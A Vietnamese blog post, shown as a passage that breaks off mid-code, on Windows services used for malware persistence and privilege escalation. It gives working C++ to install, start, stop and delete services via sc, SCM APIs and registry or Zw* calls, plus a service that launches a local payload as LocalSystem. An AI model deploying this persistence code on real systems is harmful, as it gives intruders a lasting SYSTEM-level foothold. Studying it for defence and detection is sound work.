## Mở đầu Xin chào các độc giả, lại là mình Syaoren đây! Trong bài viết này, mình sẽ chia sẻ một số kết quả nghiên cứu của mình khi thực hiện persistence và privilege escalation thông qua executable service. Cùng đi vào bài viết thôi! :alien: <div style="text-align:center;"> <img src="https://gifdb.com/images/high/hacker-dog-hacking-x5lbp7e3aiq5cvno.gif" alt=""> </div> ## Cơ sở lý thuyết Trước khi bắt đầu sử dụng service để triển khai cơ chế persistence và privilege escalation, ta cần phải hiểu rõ về khái niệm service. Về cơ bản, một service có thể hiểu như là một process hoạt động ngầm để thực hiện các tác vụ của hệ thống như kiểm soát lưu lượng mạng, quản lý DNS cache, và nhiều tác vụ khác. Service thường có quyền **SYSTEM**, việc này cho phép nó có thể thực thi các tác vụ với mức độ quyền cao. :dog: Một điểm đáng chú ý là service có thể tự động chạy ở session 0 trước khi người dùng đăng nhập vào hệ thống. Ngoài ra, nếu service gặp lỗi trong quá trình thực thi, nó có khả năng tự khởi động lại để đảm bảo luôn hoạt động liên tục. Hình bên mô tả session và quyền hạn của process **svchost.exe**, một process đại diện cho một nhóm các service. ![image](https://hackmd.io/_uploads/ryE5oCLgA.png) Hơn nữa, vì service được thiết kế để thực hiện các tác vụ hệ thống, nên nó không có khả năng tương tác trực tiếp với người dùng máy tính, chẳng hạn như không có giao diện người dùng để nhận đầu vào. Vậy làm cách nào ta có thể tương tác với service? :thinking_face: Việc tương tác với service bắt buộc phải thông qua **Service Control Manager (SCM)**. Ví dụ, nếu ta muốn dừng một service nào đó, ta có thể gửi lệnh điều khiển này đến **SCM**, sau đó **SCM** sẽ điều phối lệnh điều khiển đến service tương ứng. Như vậy, có thể thấy rằng **SCM** là thực thể quản lý mọi khía cạnh của các service trên hệ thống, và bất kỳ tương tác hoặc thao tác nào được thực hiện với service đều phải thông qua **SCM**. :smile: Service về cơ bản có tính chất tương tự như một process thông thường, nhưng nó cũng có những đặc điểm riêng biệt của riêng nó đã được đề cập ở trên. Toàn bộ quá trình hoạt động của service được trình bày chi tiết trong hình dưới. ![image](https://hackmd.io/_uploads/Hkes10Ig0.png) Khi một service process bắt đầu chạy, nó sẽ thực thi các chức năng được xác định trong hàm **main()**. Trong hàm **main()** này, nó bắt buộc phải gọi API **StartServiceCtrlDispatcher()** (bước 1). API này có trách nhiệm thông báo cho ****SCM**** biết rằng service process hiện tại muốn tạo ra các service thread để thực hiện các tác vụ đã được lập trình sẵn. Giao tiếp giữa main thread và **SCM** diễn ra thông qua cơ chế named pipe (bước 2). Nếu **SCM** chấp nhận yêu cầu này, **StartServiceCtrlDispatcher()** sẽ tạo ra các service thread để thực hiện tác vụ của chính nó (bước 3). Khi một service thread được tạo ra, nó sẽ gọi API **RegisterServiceCtrlHandlerEx()** (bước 4). API này được sử dụng để đăng ký một hàm handler cho service thread. Hàm handler có nhiệm vụ xử lý các lệnh điều khiển từ người dùng hoặc từ **SCM**. Mỗi service thread phải có hàm handler riêng để tiếp nhận các lệnh điều khiển, nếu không, service có thể hoạt động không đúng và gây ra các lỗi nghiêm trọng. Một tính chất đặc biệt nữa là hàm handler của service thread không thực thi trong ngữ cảnh của chính nó, mà được thực thi trong main thread (bước 7). Lý do cho việc này là vì service thread chủ yếu được sử dụng để chờ và xử lý yêu cầu từ người dùng (bước 5 và 6). Nếu service thread thực hiện xử lý các lệnh điều khiển, nó có thể làm gián đoạn quá trình xử lý tác vụ của service và ảnh hưởng đến trải nghiệm của người dùng. ## Các thao tác trên service Vừa rồi, mình đã trình bày khá chi tiết về bản chất và cách hoạt động của service. Bây giờ, mình muốn giới thiệu những thao tác có thể thực hiện trên service. ### :eight_spoked_asterisk: Install Thao tác đầu tiên mà mình muốn giới thiệu là cài đặt service lên hệ thống. Điều này có thể được thực hiện theo nhiều cách khác nhau, chẳng hạn như sử dụng các công cụ có sẵn hoặc thông qua lập trình. Trong bài viết này, mình sẽ giới thiệu cả hai phương pháp. #### :eight_pointed_black_star: Cách 1 Cách đầu tiên để cài đặt service là sử dụng công cụ sc được cung cấp sẵn từ Windows. Để thêm một service mới dưới dạng một tệp thực thi, ta chỉ cần chạy lệnh dưới đây. Các tham số cần được xác định bao gồm tên của service, phương thức khởi động service, loại service và đường dẫn đến tệp thực thi của service. ```python sc create <service name> start= auto type= own binpath= <binary path name> ``` Sau khi sử dụng công cụ **sc** để tạo một service, ta có thể xem thông tin chi tiết về service vừa tạo bằng tiện ích **Services** có sẵn trong hệ điều hành. Hình ảnh bên dưới minh họa quá trình tạo service **Syaoren** và thông tin chi tiết về service này sau khi đã được tạo thành công. ![service_create](https://hackmd.io/_uploads/S1dwOTvgR.png) #### :eight_pointed_black_star: Cách 2 Phương pháp thứ hai là sử dụng WinAPI để cài đặt service. Đầu tiên, ta sử dụng API **OpenSCManagerW()** với cờ **SC_MANAGER_CREATE_SERVICE** để lấy handle tương tác với **SCM**. Tiếp theo, ta dùng API **CreateServiceW()** để tạo một service mới và API **ChangeServiceConfig2W()** để đặt thông tin mô tả cho service. ```cpp= BOOL InstallService1() { SC_HANDLE hSCM = NULL, hService = NULL; BOOL returnStatus = FALSE; WCHAR path[] = L"C:\\Users\\Syaoren\\Desktop\\PoC\\Service.exe"; SERVICE_DESCRIPTION description = { 0 }; do { if(!(hSCM = OpenSCManagerW(NULL, NULL, SC_MANAGER_CREATE_SERVICE))) BREAK_WITH_ERROR("Failed to open SCM"); hService = CreateServiceW(hSCM, L"Syaoren", NULL, SERVICE_CHANGE_CONFIG, SERVICE_WIN32_OWN_PROCESS, SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL, path, NULL, NULL, NULL, NULL, NULL); if(!hService) BREAK_WITH_ERROR("Failed to create service"); printf("[+] Create service success\n"); description.lpDescription = L"Who am i? MRX"; if (!ChangeServiceConfig2W(hService, SERVICE_CONFIG_DESCRIPTION, &description)) BREAK_WITH_ERROR("Failed to set up description"); printf("[+] Set description success\n"); returnStatus = TRUE; } while (0); if (hService) CloseServiceHandle(hService); if (hSCM) CloseServiceHandle(hSCM); return returnStatus; } ``` Hình ảnh bên dưới minh họa kết quả sau khi tạo thành công service bằng cách sử dụng các WinAPI để tương tác với **SCM**. ![service_create1](https://hackmd.io/_uploads/S1GOdpvlA.png) #### :eight_pointed_black_star: Cách 3 Bên cạnh việc tạo service bằng cách tương tác với **SCM**, ta cũng có thể tạo service thông qua việc tương tác với registry. Thông tin của service được lưu trữ dưới dạng registry, cụ thể là các service dưới dạng file thực thi sẽ được lưu trữ như một subkey của key `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services`. Để tạo một service mới, ta chỉ cần thêm một subkey mới vào key này và sau đó khởi động lại máy tính. Khi máy tính khởi động, service mới sẽ được tạo ra và bắt đầu hoạt động. Sau khi tạo key cho service, bước tiếp theo là tạo các key value cho service đó. Các key value này đại diện cho các thuộc tính của service. Ví dụ, **ImagePath** chứa đường dẫn đến file thực thi của service, trong khi **Start** lưu trữ giá trị thể hiện phương thức khởi động của service trong hệ thống. Hình ảnh bên dưới minh họa chi tiết các key value của service **SgrmBroker**. ![image](https://hackmd.io/_uploads/Skn-qCvx0.png) Cách tạo service bằng registry khá đơn giản. Đầu tiên, ta sử dụng API **RegCreateKeyExW()** để tạo key cho service. Tiếp theo, ta gọi API **RegSetValueExW()** để thiết lập key value cho key vừa tạo. ```cpp= BOOL InstallService2() { BOOL returnStatus = FALSE; HKEY hKey = NULL; LSTATUS lResult = 0; DWORD disposition = 0, startType = SERVICE_DEMAND_START, serviceType = SERVICE_WIN32_OWN_PROCESS, errorControl = SERVICE_ERROR_NORMAL; CONST WCHAR subKey[] = L"SYSTEM\\CurrentControlSet\\Services\\Syaoren", imagePath[] = L"C:\\Users\\Syaoren\\Desktop\\PoC\\Service.exe", objectName[] = L"LocalSystem"; do { if (ERROR_SUCCESS != RegCreateKeyExW(HKEY_LOCAL_MACHINE, subKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE, NULL, &hKey, &disposition)) break; if (ERROR_SUCCESS != RegSetValueExW(hKey, L"ErrorControl", 0, REG_DWORD, &errorControl, sizeof(errorControl))) break; if (ERROR_SUCCESS != RegSetValueExW(hKey, L"ImagePath", 0, REG_EXPAND_SZ, imagePath, wcslen(imagePath) * sizeof(*imagePath))) break; if (ERROR_SUCCESS != RegSetValueExW(hKey, L"ObjectName", 0, REG_SZ, objectName, wcslen(objectName) * sizeof(*objectName))) break; if (ERROR_SUCCESS != RegSetValueExW(hKey, L"Start", 0, REG_DWORD, &startType, sizeof(startType))) break; if (ERROR_SUCCESS != RegSetValueExW(hKey, L"Type", 0, REG_DWORD, &serviceType, sizeof(serviceType))) break; returnStatus = TRUE; } while (0); RegCloseKey(hKey); return returnStatus; } ``` Sau khi chạy đoạn mã trên, một key tương ứng với service **Syaoren** sẽ được tạo ra trong registry. Tuy nhiên, service vẫn chưa hoạt động được ngay lập tức. Chúng ta cần khởi động lại máy tính để **SCM** có thể cập nhật thông tin và nhận diện service mới này, sau đó service sẽ sẵn sàng hoạt động. ![service_create2](https://hackmd.io/_uploads/SyqOO6DgA.png) #### :eight_pointed_black_star: Cách 4 Cuối cùng, mình muốn giới thiệu cách tạo service bằng registry thông qua các API bậc thấp như **ZwCreateKey()** và **ZwSetValueKey()**. Độc giả cũng có thể sử dụng các API tương tự như **NtCreateKey()** hoặc **NtSetValueKey()**. Những API này cho phép ta tạo và cấu hình key trong registry ở mức thấp hơn, cung cấp sự kiểm soát chi tiết hơn trong quá trình tạo service. ```cpp= VOID InitUnicodeString(PUNICODE_STRING destinationString, PCWSTR sourceString) { destinationString->Buffer = (PWSTR)sourceString; destinationString->Length = (USHORT)(wcslen(sourceString) * sizeof(WCHAR)); destinationString->MaximumLength = destinationString->Length + sizeof(WCHAR); } BOOL InstallService3() { BOOL returnStatus = FALSE; NTSTATUS status = 0; HMODULE hNtdll = NULL; pfnZwCreateKey pZwCreateKey = NULL; pfnZwSetValueKey pZwSetValueKey = NULL; HKEY hKey = NULL; UNICODE_STRING keyName = { 0 }, valueName = { 0 }; OBJECT_ATTRIBUTES objectAttributes; WCHAR objectName[] = L"LocalSystem", imagePath[] = L"C:\\Users\\Syaoren\\Desktop\\PoC\\Service.exe", keyPath[] = L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Syaoren"; DWORD error = SERVICE_ERROR_NORMAL, startType = SERVICE_DEMAND_START, serviceType = SERVICE_WIN32_OWN_PROCESS; do { if (!(hNtdll = GetModuleHandleW(L"ntdll"))) break; if (!(pZwCreateKey = GetProcAddress(hNtdll, "ZwCreateKey"))) break; if (!(pZwSetValueKey = GetProcAddress(hNtdll, "ZwSetValueKey"))) break; InitUnicodeString(&keyName, keyPath); InitializeObjectAttributes(&objectAttributes, &keyName, OBJ_CASE_INSENSITIVE, NULL, NULL); if(!NT_SUCCESS(status = pZwCreateKey(&hKey, KEY_SET_VALUE, &objectAttributes, 0, NULL, REG_OPTION_NON_VOLATILE, NULL))) BREAK_WITH_STATUS("Failed to create key", status); InitUnicodeString(&valueName, L"ErrorControl"); if(!NT_SUCCESS(status = pZwSetValueKey(hKey, &valueName, 0, REG_DWORD, &error, sizeof(error)))) BREAK_WITH_STATUS("Failed to set error control", status); InitUnicodeString(&valueName, L"ImagePath"); if(!NT_SUCCESS(status = pZwSetValueKey(hKey, &valueName, 0, REG_EXPAND_SZ, imagePath , wcslen(imagePath) * sizeof(*imagePath)))) BREAK_WITH_STATUS("Failed to set image path", status); InitUnicodeString(&valueName, L"ObjectName"); if(!NT_SUCCESS(status = pZwSetValueKey(hKey, &valueName, 0, REG_SZ, objectName , wcslen(objectName) * sizeof(*objectName)))) BREAK_WITH_STATUS("Failed to set object name", status); InitUnicodeString(&valueName, L"Start"); if(!NT_SUCCESS(status = pZwSetValueKey(hKey, &valueName, 0, REG_DWORD, &startType, sizeof(startType)))) BREAK_WITH_STATUS("Failed to set start type", status); InitUnicodeString(&valueName, L"Type"); if(!NT_SUCCESS(status = pZwSetValueKey(hKey, &valueName, 0, REG_DWORD, &serviceType, sizeof(serviceType)))) BREAK_WITH_STATUS("Failed to set service type", status); printf("[+] Create service success!\n"); returnStatus = TRUE; } while (0); if (hNtdll) CloseHandle(hNtdll); if(hKey) RegCloseKey(hKey); return returnStatus; } ``` Sau khi chạy đoạn mã trên, ta sẽ thấy rằng một key tương ứng với service **Syaoren** đã được tạo trong registry. Tuy nhiên, service vẫn chưa thể hoạt động ngay lập tức. Bạn cần khởi động lại máy tính để **SCM** có thể cập nhật database của nó và nhận diện thông tin của service mới này, sau đó service sẽ có thể hoạt động. ![service_create3](https://hackmd.io/_uploads/ryzKuaDeA.png) ### :diamond_shape_with_a_dot_inside: Start Thao tác tiếp theo mà ta cần biết là cách khởi động một service. Ta có thể sử dụng các công cụ có sẵn hoặc WinAPI để thực hiện thao tác này. #### :eight_pointed_black_star: Cách 1 Cách đầu tiên là sử dụng công cụ **sc** để bắt đầu một service. Hình ảnh bên dưới minh họa cách sử dụng công cụ này để bắt đầu một service. ![service_start](https://hackmd.io/_uploads/By7qOpveA.png) #### :eight_pointed_black_star: Cách 2 Cách thứ hai được thực hiện thông qua WinAPI. Cụ thể, ta sử dụng API **OpenSCManagerW()** để lấy handle tương tác với SCM. Tiếp theo, bạn mở service bằng cách sử dụng API **OpenServiceW()** với cờ **SERVICE_START**, cho phép bạn bắt đầu service. Cuối cùng, bạn dùng API **StartServiceW()** để khởi động service. ```cpp= BOOL StartService1() { BOOL returnStatus = FALSE; SC_HANDLE hSCM = NULL, hService = NULL; do { if(!(hSCM = OpenSCManagerW(NULL, NULL, SC_MANAGER_CONNECT))) BREAK_WITH_ERROR("Failed to connect to SCM"); if(!(hService = OpenServiceW(hSCM, L"Syaoren", SERVICE_START))) BREAK_WITH_ERROR("Failed to open service"); if(!StartServiceW(hService, 0, NULL)) BREAK_WITH_ERROR("Failed to start service"); printf("[+] Start service success\n"); returnStatus = TRUE; } while (0); if (hService) CloseServiceHandle(hService); if (hSCM) CloseServiceHandle(hSCM); return returnStatus; } ``` Sau khi service **Syaoren** bắt đầu, nó đã ở trạng thái **running** đúng như mong đợi. Hình ảnh bên dưới cho thấy chi tiết về trạng thái của service này. ![service_start2](https://hackmd.io/_uploads/B1c9cTweA.png) ### :diamond_shape_with_a_dot_inside: Stop Nếu đã có thể bắt đầu service thì cũng nên dừng được chúng :ghost:. Vì vậy, thao tác tiếp theo mình muốn giới thiệu là cách dừng service. Thao tác này có thể được thực hiện thông qua hai cách: sử dụng công cụ có sẵn hoặc thông qua lập trình. #### :eight_pointed_black_star: Cách 1 Bạn có thể sử dụng công cụ **sc** để dừng service. Thao tác này được minh họa chi tiết trong hình bên dưới. ![service_stop](https://hackmd.io/_uploads/SJgiOaDxA.png) #### :eight_pointed_black_star: Cách 2 Ngoài việc sử dụng công cụ sc để dừng service, ta cũng có thể sử dụng WinAPI. Đầu tiên, sử dụng API **OpenSCManagerW(**) để lấy handle tương tác với SCM. Tiếp theo, mở service bằng API **OpenServiceW()** với cờ **SERVICE_STOP**. Cuối cùng, gửi lệnh điều khiển đến service bằng API **ControlService()** với cờ **SERVICE_CONTROL_STOP** để dừng service. ```cpp= BOOL StopService1() { BOOL returnStatus = FALSE; SC_HANDLE hSCM = NULL, hService = NULL; do { if(!(hSCM = OpenSCManagerW(NULL, NULL, SC_MANAGER_CONNECT))) BREAK_WITH_ERROR("Failed to connect to SCM"); if(!(hService = OpenServiceW(hSCM, L"Syaoren", SERVICE_STOP))) BREAK_WITH_ERROR("Failed to open service"); if(!ControlService(hService, SERVICE_CONTROL_STOP, &g_Status)) BREAK_WITH_ERROR("Failed to stop service"); printf("[+] Stop service success\n"); returnStatus = TRUE; } while (0); if (hService) CloseServiceHandle(hService); if (hSCM) CloseServiceHandle(hSCM); return returnStatus; } ``` Sau khi thực thi đoạn mã trên, service **Syaoren** đã dừng lại đúng như mong muốn. Hình ảnh bên dưới minh họa chi tiết quan sát về trạng thái của service này sau khi dừng. ![service_stop2](https://hackmd.io/_uploads/B1X356Dl0.png) ### :diamond_shape_with_a_dot_inside: Uninstall Thao tác cuối cùng mình muốn đề cập đến là gỡ cài đặt (uninstall) một service. Giống như các thao tác khác, ta có thể thực hiện bằng hai cách: sử dụng các công cụ có sẵn hoặc thông qua WinAPI. #### :eight_pointed_black_star: Cách 1 Để gỡ cài đặt một service bằng công cụ có sẵn, ta sử dụng công cụ **sc**. Hình ảnh bên dưới minh họa chi tiết cách sử dụng sc để xóa một service. ![service_delete](https://hackmd.io/_uploads/BkUsd6Px0.png) #### :eight_pointed_black_star: Cách 2 Cách thứ hai để gỡ cài đặt một service là sử dụng WinAPI. Đầu tiên, ta gọi API **OpenSCManagerW()** để lấy handle tương tác với **SCM**. Tiếp theo, gọi API **OpenServiceW()** với cờ **DELETE** và **SERVICE_QUERY_STATUS** để mở service và cho phép xóa service. Sau đó, gọi API **QueryServiceStatus()** để kiểm tra xem service có đang chạy không. Nếu service đang chạy, bạn sẽ cần dừng service này trước bằng cách sử dụng hàm **StopService()**. Sau đó, dùng API **DeleteService()** để xóa service khỏi hệ thống. ```cpp= BOOL UninstallService1() { BOOL returnStatus = FALSE; SERVICE_STATUS status = { 0 }; SC_HANDLE hSCM = NULL, hService = NULL; do { if(!(hSCM = OpenSCManagerW(NULL, NULL, SC_MANAGER_CONNECT))) BREAK_WITH_ERROR("Failed to connect to SCM"); if(!(hService = OpenServiceW(hSCM, L"Syaoren", DELETE | SERVICE_QUERY_STATUS))) BREAK_WITH_ERROR("Failed to open service"); if(QueryServiceStatus(hService, &status) && status.dwCurrentState == SERVICE_RUNNING) StopService1(); if (!DeleteService(hService)) BREAK_WITH_ERROR("Failed to uninstall service"); printf("[+] Uninstall service success\n"); returnStatus = TRUE; } while (0); if (hService) CloseServiceHandle(hService); if (hSCM) CloseServiceHandle(hSCM); return returnStatus; } ``` Sau khi thực thi đoạn mã trên, service **Syaoren** đã được gỡ bỏ khỏi hệ thống. Hình ảnh bên dưới minh họa chi tiết về việc service đã được xóa hoàn toàn. ![service_delete1](https://hackmd.io/_uploads/Hyo256vx0.png) ## Triển khai cụ thể Đến thời điểm này, mình đã giới thiệu chi tiết các thao tác có thể thực hiện trên service. Bây giờ, hãy cùng đi vào triển khai áp dụng service để đạt được cơ chế persistence và privilege escalation cho malware. Như mình đã đề cập từ trước, hàm **main()** của service process bắt buộc phải gọi API **StartServiceCtrlDispatcherW()**. API này chỉ nhận một tham số là một mảng gồm các phần tử thuộc cấu trúc **SERVICE_TABLE_ENTRYW**. Mỗi phần tử này sẽ tương ứng với một service thread. Trong trường hợp hiện tại của ta, ta chỉ cần một service thread là đủ. Ngoài ra, hàm **main()** còn gọi hàm **HandleCommand()**. Vậy chức năng của **HandleCommand()** là gì? :thinking_face: ```cpp= int wmain(int argc, const wchar_t* argv[]) { if (argc > 1) return HandleCommand(argc, argv); WCHAR serviceName[] = L"Syaoren"; CONST SERVICE_TABLE_ENTRYW entry[] = { {serviceName, SyaorenMain}, {NULL, NULL} }; if (!StartServiceCtrlDispatcherW(entry)) return 1; return 0; } ``` Trong nghiên cứu này, để nhanh gọn thì mình đã tích hợp chương trình thao tác với service và service vào chung một file thực thi luôn. Nếu thực thi chương trình này mà không có bất kỳ tham số nào được truyền vào, nó sẽ hoạt động như một service, còn ngược lại, nó sẽ hoạt động giống như một chương trình tiện ích dùng để thao tác với service. Hàm này còn gọi **IsRunningElevated()**. Vậy chức năng của **IsRunningElevated()** là gì? ```cpp= BOOL HandleCommand(int argc, const wchar_t* argv[]) { if (!IsRunningElevated()) return 1; if (!_wcsicmp(argv[1], L"install1")) return InstallService1(); if (!_wcsicmp(argv[1], L"install2")) return InstallService2(); if (!_wcsicmp(argv[1], L"install3")) return InstallService3(); if (!_wcsicmp(argv[1], L"start")) return StartService1(); if (!_wcsicmp(argv[1], L"stop")) return StopService1(); if (!_wcsicmp(argv[1], L"uninstall")) return UninstallService1(); } ``` Một điều ta nên nhớ là nếu muốn thực hiện các thao tác trên service, ta cần phải có quyền **ADMIN**. Chính vì vậy, cần kiểm tra quyền hạn của process hiện tại bằng cách sử dụng các API **OpenProcessToken()** và **GetTokenInformation()** trước khi thực hiện bất kỳ thao tác nào. Đây cũng chính là chức năng của hàm **IsRunningElevated()**. :smiling_face_with_smiling_eyes_and_hand_covering_mouth: ```cpp= BOOL IsRunningElevated() { HANDLE hToken = NULL; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) return FALSE; DWORD elevation = 0, elevationLen = 0; GetTokenInformation(hToken, TokenElevation, &elevation, sizeof(elevation), &elevationLen); CloseHandle(hToken); return elevation ? TRUE : FALSE; } ``` Còn về hàm **SyaorenMain()**, nó sẽ thực hiện chức năng của service thread. Như đã đề cập trước đó, khi bắt đầu, service thread phải gọi API **RegisterServiceCtrlHandlerW()** để đăng ký một hàm handler dành riêng cho nó. Sau đó, service thread tạo một event bằng API **CreateEventW()**; event được tạo ra để hàm handler có thể giao tiếp với service thread. Tiếp theo, service thread đặt trạng thái của nó là `start pending` bằng cách sử dụng API **SetStatus()** với cờ **SERVICE_START_PENDING**, rồi sau đó gọi hàm **RunPayload()** để thực hiện tác vụ độc hại. Khi tác vụ độc hại đã hoàn tất, service thread đặt trạng thái của nó là `running`. Sau đó, nó sử dụng API **WaitForSingleObject()** để chờ đợi event từ hàm handler. Khi nhận được signal từ event, service thread đặt trạng thái của nó về `stopped` và kết thúc quá trình xử lý. ```cpp= VOID WINAPI SyaorenMain(DWORD dwNumServiceArgs, LPWSTR* lpServiceArgVectors) { RtlZeroMemory(&g_Status, sizeof(g_Status)); g_Status.dwServiceType = SERVICE_WIN32_OWN_PROCESS; BOOL error = TRUE; HANDLE hThread; DWORD threadId; do { if(!(g_hService = RegisterServiceCtrlHandlerW(L"Syaoren", SyaorenHandler))) break; if(!(g_hStopEvent = CreateEventW(NULL, FALSE, FALSE, NULL))) break; SetStatus(SERVICE_START_PENDING); RunPayload(); error = TRUE; } while (0); if (!error) SetStatus(SERVICE_STOPPED); SetStatus(SERVICE_RUNNING); while (WAIT_TIMEOUT == WaitForSingleObject(g_hStopEvent, 1000)); SetStatus(SERVICE_STOPPED); if(g_hStopEvent) CloseHandle(g_hStopEvent); } ``` Hàm **RunPayload()** thực hiện một tác vụ đơn giản là tạo một process **payload_x64.exe** bằng cách sử dụng API **CreateProcessW()**. ```cpp= VOID RunPayload() { WCHAR appPath[] = L"C:\\Users\\Syaoren\\Desktop\\PoC\\payload_x64.exe"; HANDLE hProcess; PROCESS_INFORMATION pi; STARTUPINFOW si; RtlZeroMemory(&pi, sizeof(pi)); RtlZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); if(!CreateProcessW(appPath, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) return; WaitForSingleObject(pi.hProcess, INFINITE); CloseHandle(pi.hThread); CloseHandle(pi.hProcess); } ``` Đối với chức năng của handler thì nó chỉ triển khai và hỗ trợ lệnh điều khiển **SERVICE_CONTROL_STOP** và **SERVICE_CONTROL_SHUTDOWN**. Những service ngoài thực tế thường được triển khai để xử lý nhiều request như là **SERVICE_CONTROL_CONTINUE**, **SERVICE_CONTROL_INTERROGATE**, **SERVICE_CONTROL_PAUSE**, và **SERVICE_CONTROL_SHUTDOWN**. Trong thực tế, malware chỉ chủ yếu sử dụng service như là công cụ để đạt được persistence nên nó không nhất thiết phải định nghĩa các hàm xử lý request một cách đầy đủ nên ở đây ta chỉ cần định nghĩa các thành phần chính để triển khai service là được. ```cpp= VOID SetStatus(DWORD status) { g_Status.dwCurrentState = status; g_Status.dwControlsAccepted = status == SERVICE_RUNNING ? SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN : 0; SetServiceStatus(g_hService, &g_Status); } VOID WINAPI SyaorenHandler(DWORD dwControl) { switch (dwControl) { case SERVICE_CONTROL_STOP: SetStatus(SERVICE_STOP_PENDING); SetEvent(g_hStopEvent); break; case SERVICE_CONTROL_SHUTDOWN: SetStatus(SERVICE_STOP_PENDING); SetEvent(g_hStopEvent); break; } return; } ``` Dưới đây là toàn bộ source code dùng để thao tác và triển khai service. ```cpp= #include<stdio.h> #include<Windows.h> #include<winsvc.h> #define BUFFER_SIZE 1024 #define BREAK_WITH_ERROR(m) \ {printf("[-] %s! Error code 0x%x", m, GetLastError()); break;} #define BREAK_WITH_STATUS(m, s) \ {printf("[-] %s! Status code 0x%x", m, s); break;} #define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) #define OBJ_CASE_INSENSITIVE 0x00000040L #define InitializeObjectAttributes( p, n, a, r, s ) { \ (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \ (p)->RootDirectory = r; \ (p)->Attributes = a; \ (p)->ObjectName = n; \ (p)->SecurityDescriptor = s; \ (p)->SecurityQualityOfService = NULL; \ } typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, * PUNICODE_STRING; typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; // Points to type SECURITY_DESCRIPTOR PVOID SecurityQualityOfService; // Points to type SECURITY_QUALITY_OF_SERVICE } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; typedef NTSTATUS (NTAPI *pfnZwCreateKey)( OUT PHANDLE KeyHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN ULONG TitleIndex, IN PUNICODE_STRING Class OPTIONAL, IN ULONG CreateOptions, OUT PULONG Disposition OPTIONAL ); typedef NTSTATUS (NTAPI *pfnZwSetValueKey)( IN HANDLE KeyHandle, IN PUNICODE_STRING ValueName, IN ULONG TitleIndex OPTIONAL, IN ULONG Type, IN PVOID Data, IN ULONG DataSize ); HANDLE g_hStopEvent; SERVICE_STATUS g_Status; SERVICE_STATUS_HANDLE g_hService; BOOL InstallService1(); BOOL InstallService2(); BOOL InstallService3(); BOOL IsRunningElevated(); BOOL StartService1(); BOOL StopService1(); BOOL UninstallService1(); BOOL HandleCommand(int argc, const wchar_t* argv[]); VOID WINAPI SyaorenMain(DWORD dwNumServiceArgs, LPWSTR* lpServiceArgVectors); VOID InitUnicodeString(PUNICODE_STRING DestinationString, PCWSTR SourceString); int wmain(int argc, const wchar_t* argv[]) { if (argc > 1) return HandleCommand(argc, argv); WCHAR serviceName[] = L"Syaoren"; CONST SERVICE_TABLE_ENTRYW entry[] = { {serviceName, SyaorenMain}, {NULL, NULL} }; if (!StartServiceCtrlDispatcherW(entry)) return 1; return 0; } BOOL IsRunningElevated() { HANDLE hToken = NULL; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) return FALSE; DWORD elevation = 0, elevationLen = 0; GetTokenInformation(hToken, TokenElevation, &elevation, sizeof(elevation), &elevationLen); CloseHandle(hToken); return elevation ? TRUE : FALSE; } BOOL HandleCommand(int argc, const wchar_t* argv[]) { if (!IsRunningElevated()) return 1; if (!_wcsicmp(argv[1], L"install1")) return InstallService1(); if (!_wcsicmp(argv[1], L"install2")) return InstallService2(); if (!_wcsicmp(argv[1], L"install3")) return InstallService3(); if (!_wcsicmp(argv[1], L"start")) return StartService1(); if (!_wcsicmp(argv[1], L"stop")) return StopService1(); if (!_wcsicmp(argv[1], L"uninstall")) return UninstallService1(); } VOID InitUnicodeString(PUNICODE_STRING destinationString, PCWSTR sourceString) { destinationString->Buffer = (PWSTR)sourceString; destinationString->Length = (USHORT)(wcslen(sourceString) * sizeof(WCHAR)); destinationString->MaximumLength = destinationString->Length + sizeof(WCHAR); } BOOL InstallService3() { BOOL returnStatus = FALSE; NTSTATUS status = 0; HMODULE hNtdll = NULL; pfnZwCreateKey pZwCreateKey = NULL; pfnZwSetValueKey pZwSetValueKey = NULL; HKEY hKey = NULL; UNICODE_STRING keyName = { 0 }, valueName = { 0 }; OBJECT_ATTRIBUTES objectAttributes; WCHAR objectName[] = L"LocalSystem", imagePath[] = L"C:\\Users\\Syaoren\\Desktop\\PoC\\Service.exe", keyPath[] = L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Syaoren"; DWORD error = SERVICE_ERROR_NORMAL, startType = SERVICE_DEMAND_START, serviceType = SERVICE_WIN32_OWN_PROCESS; do { if (!(hNtdll = GetModuleHandleW(L"ntdll"))) break; if (!(pZwCreateKey = GetProcAddress(hNtdll, "ZwCreateKey"))) break; if (!(pZwSetValueKey = GetProcAddress(hNtdll, "ZwSetValueKey"))) break; InitUnicodeString(&keyName, keyPath); InitializeObjectAttributes(&objectAttributes, &keyName, OBJ_CASE_INSENSITIVE, NULL, NULL); if(!NT_SUCCESS(status = pZwCreateKey(&hKey, KEY_SET_VALUE, &objectAttributes, 0, NULL, REG_OPTION_NON_VOLATILE, NULL))) BREAK_WITH_STATUS("Failed to create key", status); InitUnicodeString(&valueName, L"ErrorControl"); if(!NT_SUCCESS(status = pZwSetValueKey(hKey, &valueName, 0, REG_DWORD, &error, sizeof(error)))) BREAK_WITH_STATUS("Failed to set error control", status); InitUnicodeString(&valueName, L"ImagePath"); if(!NT_SUCCESS(status = pZwSetValueKey(hKey, &valueName, 0, REG_EXPAND_SZ, imagePath , wcslen(imagePath) * sizeof(*imagePath)))) BREAK_WITH_STATUS("Failed to set image path", status); InitUnicodeString(&valueName, L"ObjectName"); if(!NT_SUCCESS(status = pZwSetValueKey(hKey, &valueName, 0, REG_SZ, objectName , wcslen(objectName) * sizeof(*objectName)))) BREAK_WITH_STATUS("Failed to set object name", status); InitUnicodeString(&valueName, L"Start"); if(!NT_SUCCESS(status = pZwSetValueKey(hKey, &valueName, 0, 